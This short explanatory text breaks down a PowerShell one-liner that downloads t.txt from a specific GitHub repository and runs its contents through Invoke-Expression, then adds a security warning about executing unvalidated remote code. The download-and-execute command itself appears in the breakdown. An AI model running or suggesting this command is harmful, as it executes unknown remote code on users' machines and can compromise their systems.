This PowerShell command does the following: 1. `Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/anutays/hm/refs/heads/main/t.txt'`: ...

This PowerShell command does the following:

1. Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/anutays/hm/refs/heads/main/t.txt':

   • Downloads the content from a URL (t.txt file located on GitHub in this example).

2. .Content:

   • Extracts the content of the response from the web request (i.e., the text inside t.txt).

3. Invoke-Expression:

   • Executes the content or code retrieved from the t.txt file as a PowerShell command or script.

4. powershell.exe -Command:

   • Executes the entire PowerShell command from within a PowerShell session or another environment.

What does it do overall?

• This command downloads a file from the specified URL (t.txt located on GitHub) and executes its content as if it were a PowerShell script or command.

Security Note:

• This command is potentially dangerous because it downloads and runs code (from an external source) without validation. If the t.txt file contains malicious scripts, this can lead to system compromise or other unwanted behavior. Always verify and trust the code's source before using such commands.